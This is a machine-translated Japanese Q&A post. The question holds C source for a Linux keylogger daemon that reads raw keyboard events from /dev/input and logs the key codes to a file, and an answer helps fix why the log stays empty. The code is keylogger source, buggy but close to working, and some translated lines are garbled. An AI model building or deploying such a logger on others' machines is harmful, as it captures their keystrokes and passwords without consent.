キーロガーを自分で書こうとしています。私はキーロガーの開発に対する私のロジックが良いかどうかはわかりませんが、私は次のようにしてやろうと思いました。
キーストロークイベントを取得するには、まずデーモンプロセスを作成し、/dev/input/by-path/platform-i8042-serio-0-event-kbdにアクセスして取得したデータをファイルに書き込みます。
コードは引き続き実行されますが、ここで問題は、書き込もうとしているファイルがROモードで開かれていて、デーモンがバックグラウンドで実行されているが書き込みできないことです。
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <termios.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/input.h>
#define RUNNING_DIR "/tmp"
#define LOCK_FILE "exampled.lock"
#define LOG_FILE "exampled.log"
//#define TEST_FILE "testd.txt"
static const char *const evval[3] = {
"RELEASED",
"PRESSED ",
"REPEATED"
};
void log_message(char* filename, char* message)
{
FILE *logfile;
logfile = fopen(filename, "a");
if(!logfile) return;
fprintf(logfile, "%s\n", message);
fclose(logfile);
}
void signal_handler(sig)
int sig;
{
switch(sig)
{
case SIGHUP:// not relevant
log_message(LOG_FILE, "hangup signal catched");
break;
case SIGTERM:// not relevant
log_message(LOG_FILE, "terminate signal catched");
exit(0);
break;
case SIGTTIN: // not relevant
log_message(LOG_FILE, "from sigttin");
break;
case SIGTTOU:// only this is relevant here
poll_kbd();
break;
}
}
int poll_kbd()
{
const char *dev = "/dev/input/by-path/platform-i8042-serio-0-event-kbd";
struct input_event ev;
int n;
int fd;
FILE* f;
f = fopen(LOG_FILE, "w");
fd = open(dev, O_RDWR);
if (fd == -1) {
fprintf(stderr, "Cannot open %s: %s.\n", dev, strerror(errno));
return EXIT_FAILURE;
}
while (1) {
n = read(fd, &ev, sizeof ev);
if (n == (ssize_t)-1) {
if (errno == EINTR)
continue;
else
break;
} else
if (n != sizeof ev) {
errno = EIO;
break;
}
if (ev.type == EV_KEY && ev.value >= 0 && ev.value <= 2){
fprintf(f, "%s 0x%04x (%d)\n", evval[ev.value], (int)ev.code, (int)ev.code);
}
}
}
void daemonize()
{
int i, lfp;
char str[10];
if(getppid()==1) return; // already a daemon, pid1 for init
i = fork();
if(i<0) exit(1); // fork error
if(i>0) exit(0); // parent exits
// child daemon continues
setsid(); // obtain a new process group
for (i=getdtablesize();i>=0;--i) close(i); // close all descriptors
i = open("/dev/null", O_RDWR); dup(i); dup(i); // handle standard IO
umask(027); // set newly created file permissions
chdir(RUNNING_DIR); // change running dir
if (lfp<0) exit(1); // cannot open
if (lockf(lfp, F_TLOCK, 0) < 0) exit(0); // cannot lock
// first instance continues
sprintf(str, "%d\n", getpid());
write(lfp, str, strlen(str)); // record pid to lockfile
signal(SIGCHLD, SIG_IGN); // ignore child
signal(SIGTSTP, SIG_IGN); // ignore tty signals
signal(SIGHUP, signal_handler); // catch hangup signal
signal(SIGTERM, signal_handler); // catch kill signal
signal(SIGTTIN, signal_handler);
signal(SIGTTOU, signal_handler);
}
main()
{
daemonize();
while(1)
{
//the signal is raised to envoke the keyboard input detection function
raise(SIGTTOU);
sleep(1);
}
}
誰でもこの問題を解決するのに役立ちますか?何が間違っているか。どんな提案でも高く評価いたします。ありがとうございます。
答え1
あなたは最初から大きすぎます。作業がうまく機能するようにする小さなコードで始めましょう。なぜデーモンからすぐに起動し、なぜ奇妙な信号で呼び出されるのか、poll_kbd
C言語ではエラーコードも確認する必要があります。
轟音は終わった。
これでうまくいかない理由は次のとおりです。 >>f = fopen(LOG_FILE, "w");
カット各通話のログファイルkbd_poll
。
これをに変更し"a"
てスクリプトを実行したことを確認してください。その後、読み取りアクセス権があります。root
関数がリダイレクトされ"/dev/input/by-path/platform-i8042-serio-0-event-kbd"
てもエラーは表示されません。それでは(私には)効果があるでしょう。deamonize()
stderr
/dev/null